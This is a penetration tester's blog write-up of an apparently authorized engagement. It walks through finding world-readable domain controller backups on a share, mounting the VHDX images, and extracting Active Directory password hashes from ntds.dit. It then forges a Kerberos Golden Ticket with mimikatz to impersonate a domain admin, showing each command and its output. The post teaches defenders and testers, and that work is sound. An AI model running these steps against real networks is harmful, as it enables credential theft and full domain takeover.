Unprotected Domain Controller Backups -> Full Domain Compromise

Intro

In this post, I’d like to show you why you should not leave your old Domain Controller backups lying around if you are admin and why you should be happy to find it if you are pentester.

TL;DR

Skip to Recap

Lenghty Version

I’m not really experienced with testing Windows Domain networks but I got lucky and was given access into one. This was my first pentest of this kind and I had a bit easier situation as I got valid credentials to one low privileged user in the domain. The task was to penetrate as far as I could.

Initial Finding

I tried a number of attack vectors, searched available SMB shares but nothing. I spent quite some time jumping from one attack to another and just lost track of what I did and didn’t. Eventually, I realized that the network shares should be given a bit more care. To my luck, it paid off! I found a shared folder called BACKUPS containing Domain Controllers’ backups readable by any authenticated user. If I got my hands on ntds.dit Active Directory database file, I should be able to extract password hashes of every domain account! Let’s see.

Inside the share, there ware separate folders for each of the 4 domain controllers. One of the DC folders looked like this:

Directory of \\blahblah\BACKUPS\dc001

2018-02-13  08:45 PM    <DIR>          .
2018-02-13  08:45 PM    <DIR>          ..
2018-02-13  08:45 PM    <DIR>          Backup 2018-03-19 022924
2018-02-13  08:45 PM    <DIR>          Catalog
2018-02-13  08:25 PM                16 MediaId
2018-02-13  08:45 PM    <DIR>          SPPMetadataCache

dc001\Backup 2018-02-13 011635

2018-02-13  08:45 PM    <DIR>          .
2018-02-13  08:45 PM    <DIR>          ..
2018-02-13  08:45 PM     9,764,339,712 27163d45-0000-0000-0000-100000000000.vhdx
2018-02-13  08:45 PM        20,971,520 83423cde-0000-0000-0000-010000000000.vhdx
2018-02-13  08:45 PM    22,515,023,872 64eab400-0000-0000-0000-100000000000.vhdx
2018-02-13  08:45 PM        62,914,560 64eab400-0000-0000-0000-80dd1f000000.vhdx
2018-02-13  08:45 PM       111,149,056 94f35c2e-0000-0000-0000-100000000000.vhdx
2018-02-13  08:45 PM             2,574 BackupSpecs.xml
2018-02-13  08:45 PM               776 5e3c1f87-6edf-4482-9c23-cc9461bf989e_AdditionalFilesc3b9f3c7-5e52-4d5e-8b20-19adc95a34c7.xml
2018-02-13  08:45 PM            20,306 5e3c1f87-6edf-4482-9c23-cc9461bf989e_Components.xml
2018-02-13  08:45 PM             9,138 5e3c1f87-6edf-4482-9c23-cc9461bf989e_RegistryExcludes.xml
2018-02-13  08:45 PM             2,940 5e3c1f87-6edf-4482-9c23-cc9461bf989e_Writerafbab4a2-367d-4d15-a586-71dbb18f8485.xml
2018-02-13  08:45 PM             7,432 5e3c1f87-6edf-4482-9c23-cc9461bf989e_Writerbe000cbe-11fe-4426-9c58-531aa6355fc4.xml
2018-02-13  08:45 PM             1,746 5e3c1f87-6edf-4482-9c23-cc9461bf989e_Writerd61d61c8-d73a-4eee-8cdd-f6f9786b7124.xml
2018-02-13  08:45 PM         5,428,292 5e3c1f87-6edf-4482-9c23-cc9461bf989e_Writere8132975-6f93-4464-a53e-1050253ae220.xml

This is how it looks like when you perform Windows Server Backup. I didn’t know what was important and what was not so I archived everything, split it into smaller chunks and transferred on my Linux machine. As you might have guessed, the .vhdx files are images of hard drives used by backed up server. To better understand what these UUID names actually are, we can view Backup 2018-02-13 011635\BackupSpecs.xml:

<?xml version="1.0"?>
<BackupSpecs Version="1">
  <FileSpecs>
    <Volume Name="\\?\Volume{64eab400-0000-0000-0000-80dd1f000000}\" AccessPath="" OriginalAccessPath="" Label="" OriginalLabel="">
      <FileSpec FilePath="\\?\Volume{64eab400-0000-0000-0000-80dd1f000000}\" FileName="*" IsRecursive="true" IsInclude="true"/>
    </Volume>
    <Volume Name="\\?\Volume{94f35c2e-0000-0000-0000-100000000000}\" AccessPath="D:" OriginalAccessPath="D:" Label="" OriginalLabel="">
      <FileSpec FilePath="D:\" FileName="*" IsRecursive="true" IsInclude="true"/>
    </Volume>
    <Volume Name="\\?\Volume{83423cde-0000-0000-0000-010000000000}\" AccessPath="E:" OriginalAccessPath="E:" Label="" OriginalLabel="">
      <FileSpec FilePath="E:\" FileName="*" IsRecursive="true" IsInclude="true"/>
    </Volume>
    <Volume Name="\\?\Volume{27163d45-0000-0000-0000-100000000000}\" AccessPath="F:" OriginalAccessPath="F:" Label="" OriginalLabel="">
      <FileSpec FilePath="F:\" FileName="*" IsRecursive="true" IsInclude="true"/>
    </Volume>
    <Volume Name="\\?\Volume{64eab400-0000-0000-0000-100000000000}\" AccessPath="C:" OriginalAccessPath="C:" Label="" OriginalLabel="">
      <FileSpec FilePath="C:\" FileName="*" IsRecursive="true" IsInclude="true"/>
    </Volume>
  </FileSpecs>
  <SystemState IsPresent="true"/>
  <AllCritical IsPresent="true"/>
  <ComponentSpecs/>
</BackupSpecs>

From the letters in AccessPath, OriginalAccessPath and FilePath attributes you can find where were these hard drives mounted at the time of backup. I’m going for ntds.dit file which should be found in %SystemRoot%\NTDS\ntds.dit and %SystemRoot%\System32\ntds.dit, where %SystemRoot% is going to be most probably C:\Windows. That means I need to read 64eab400-0000-0000-0000-100000000000.vhdx somehow.

Mounting VHDX in Linux

VHDX is some Microsoft virtual hard drive format which you can mount in Linux, for example, using qemu-utils.

First you connect disk image to network block device:

# qemu-nbd -c /dev/nbd0 64eab400-0000-0000-0000-100000000000.vhdx

Then you can see it has two partitions:

# fdisk -l /dev/nbd0
Disk /dev/nbd0: 127.6 GiB, 137014280192 bytes, 267606016 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: 162F1224-AABB-CCDD-EEFF-D2B3951504E2

Device       Start       End   Sectors   Size Type
/dev/nbd0p1     34    262177    262144   128M Microsoft reserved
/dev/nbd0p2 262184 267565095 267302912 127.5G Microsoft basic data

The first partition contains some boot and BitLocker information, the actual C: drive is on the second one, which you can simply mount like this:

# mount /dev/nbd0p2 /mnt

Getting Content of ntds.dit

Now I could finally search the drive for ntds.dit and yeah, I found it in both /mnt/Windows/NTDS/ntds.dit and /mnt/Windows/System32/ntds.dit. The content of the file is, however, encrypted. The password for encryption is stored in the same file and is also encrypted but can be decrypted with the value of boot key which is stored inside SYSTEM Windows registry hive. The hive files are stored under %SystemRoot%\System32\Config or in my case /mnt/Windows/System32/config. There are several tools you can use to get the hashes, on Linux you can use tools mentioned in this ropnop’s article.

I found it’s better to use PowerShell scripts from DSInternals if you have access to some Windows machine, it gives you quite a bit more information. I’ll show you here how I got the hashes using DSInternals. First, copy your ntds.dit and SYSTEM files to Windows and install DSInternals:

PS> Install-Module DSInternals

Then get the boot key:

PS> Get-BootKey -SystemHiveFile .\SYSTEM
123c51121e6254472e4c65a1f4537393

And view the hashes:

PS> Get-ADDBAccount -All -DBPath .\ntds.dit -BootKey 123c51121e6254472e4c65a1f4537393
Get-ADDBAccount : Object with identity 'CN=Partitions,O=Boot' has not been found.
At line:1 char:1
+ Get-ADDBAccount -All -DBPath .\ntds.dit -BootKey 123c51121e6254472e4c ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : OpenError: (:) [Get-ADDBAccount], DirectoryObjectNotFoundException
    + FullyQualifiedErrorId : DBContextError,DSInternals.PowerShell.Commands.GetADDBAccountCommand

WTF? I don’t know what was wrong, maybe some corruption during backup but none of the two ntds.dit worked. After a while of cursing and searching around I mounted the other VHDX disk image and there on the F: drive I found this:

$RECYCLE.BIN
NTDS
System Volume Information
SYSVOL

A backup of C:\Windows\NTDS inside backup of F: yo! This gave me one more ntds.dit file to try aaaaaaand:

PS> Get-ADDBAccount -All -DBPath .\ntds.dit -BootKey 123c51121e6254472e4c65a1f4537393
DistinguishedName: CN=Some User,OU=Basic Users,OU=Accounts,DC=acme,DC=corp
Sid: S-1-5-21-123445567-1234565776-237463274-5762
Guid: 9cacd376-02ed-4ca7-ba78-adc565f25f2a
SamAccountName: someuser
SamAccountType: User
UserPrincipalName: someuser@acme.corp
PrimaryGroupId: 513
SidHistory:
Enabled: True
UserAccountControl: NormalAccount
AdminCount: False
Deleted: False
LastLogon:
DisplayName: SomeUser
GivenName: Some
Surname: User
Description: ACN
ServicePrincipalName:
SecurityDescriptor: DiscretionaryAclPresent, SystemAclPresent, DiscretionaryAclAutoInherited, SystemAclAutoInherited,
SelfRelative
Owner: S-1-5-21-123445567-1234565776-237463274-512
Secrets
  NTHash: 532525e124359744e51591e5053355b6
  LMHash:
  NTHashHistory:
    Hash 01: 532525e124359744e51591e5053355b6
  LMHashHistory:
    Hash 01: 4ee58551e1e37b399f3d44592d52f2d2
  SupplementalCredentials:
    ClearText:
    NTLMStrongHash: 38b237b10624d195dd422f291935234c
    Kerberos:
      Credentials:
        DES_CBC_MD5
          Key: 56c271d371411336
      OldCredentials:
        DES_CBC_MD5
          Key: 4b3f1c5e4a11111d
      Salt: ACME.CORPsomeuser
      Flags: 0
    KerberosNew:
      Credentials:
        AES256_CTS_HMAC_SHA1_96
          Key: 114a3537317512594f1e635c2352201aa4363283052204812b5d371d2eababab
          Iterations: 4096
        AES128_CTS_HMAC_SHA1_96
          Key: 433d543337265c4c10454f5e2dc2f132
          Iterations: 4096
        DES_CBC_MD5
          Key: 19e3e9b991a431d6
          Iterations: 4096
      OldCredentials:
        AES256_CTS_HMAC_SHA1_96
          Key: 103152a5a572917325b3c1255315a3b3f492223e61933255a56f3f34413aabab
          Iterations: 4096
        AES128_CTS_HMAC_SHA1_96
          Key: 10c41525511e20053b191e19131d3e38
          Iterations: 4096
        DES_CBC_MD5
          Key: 8f6d02d53b976492
          Iterations: 4096
      OlderCredentials:
        AES256_CTS_HMAC_SHA1_96
          Key: 334b3f3d1a48322553111425405451e1b1848361714e1243204f561ddabababb
          Iterations: 4096
        AES128_CTS_HMAC_SHA1_96
          Key: 121353f49124a459221f3715f4a17361
          Iterations: 4096
        DES_CBC_MD5
          Key: 47335231e241f3c5
          Iterations: 4096
      ServiceCredentials:
      Salt: ACME.CORPsomeuser
      DefaultIterationCount: 4096
      Flags: 0
    WDigest:
      Hash 01: 4d71b1e2c3d502e2f3514e474b4331ab
      Hash 02: 13d1a4520114b4142e62a558454aabab
      Hash 03: 42344f26403d5f221a46fe30d3950333
Key Credentials:
Credential Roaming
  Created:
  Modified:
  Credentials:

... few hundred more ...

Yes! I could finally read the hashes for more than 500 accounts. Unfortunately, hashes were 10 months old from February and password policy required users to change passwords every 75 days, ugh.

Golden Ticket

There are some non-user accounts which don’t conform with domain password policies and their passwords are rarely changed. One of those is KRBTGT account. This one is used internally to sign all Kerberos tickets in the domain and if you know its hash you can create Golden Tickets. What’s that? Just a completely valid Kerberos ticket allowing you to impersonate any user from any group, even non-existing one.

At this point I found out I’m done with testing as I could use mimikatz to impersonate one of domain admin accounts and do anything I’d like:

PS> mimikatz kerberos::golden /domain:acme.corp /sid:S-1-5-21-123445567-1234565776-237463274 /user:SOMEADMIN.DCA /krbtgt:22e9535a571519374f2ab3262522d193 /ptt

User      : SOMEADMIN.DCA
Domain    : acme.corp (ACME)
SID       : S-1-5-21-123445567-1234565776-237463274
User Id   : 500
Groups Id : *510 516 524 513 512
ServiceKey: 22e9535a571519374f2ab3262522d193 - rc4_hmac_nt
Lifetime  : 12/12/2018 15:33:39 PM ; 12/09/2028 15:33:39 PM ; 12/09/2028 15:33:39 PM
-> Ticket : ** Pass The Ticket **

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Golden ticket for 'SOMEADMIN.DCA @ acme.corp' successfully submitted for current session

PS> dir \\dc001\c$
 Volume in drive \\dc001\c$ has no label.
 Volume Serial Number is 3832-4843

 Directory of \\dc001\c$

12/11/2016  01:45 AM    <DIR>          Logs
11/09/2017  05:35 AM    <DIR>          Packages
06/03/2018  04:57 PM    <DIR>          PerfLogs
04/07/2018  07:81 PM    <DIR>          Program Files
04/07/2018  04:13 PM    <DIR>          Program Files (x86)
03/06/2018  01:10 PM    <DIR>          Temp
02/04/2018  10:04 AM    <DIR>          Users
02/22/2018  07:31 AM    <DIR>          Windows
              8 Dir(s)  193,487,342,120 bytes free

Recap

  1. Domain Controller backups might contain Active Directory database file ntds.dit and SYSTEM registry hive
  2. SYSTEM hive has boot key that allows you to decrypt ntds.dit and get NTLM hashes of domain accounts
  3. NTLM hash of KRBTGT account lets you create Golden Ticket to impersonate other users
  4. Impersonation of domain admin accounts is basically game over

Takeaways

  1. Even older unprotected backups might lead to full Domain compromise
  2. Make sure haven’t missed anything interesting in network shares during a pentest


Do you have any idea why I couldn’t get hashes of these two ntds.dit files? Have any other thoughts? Hit me up on Twitter @malacupa.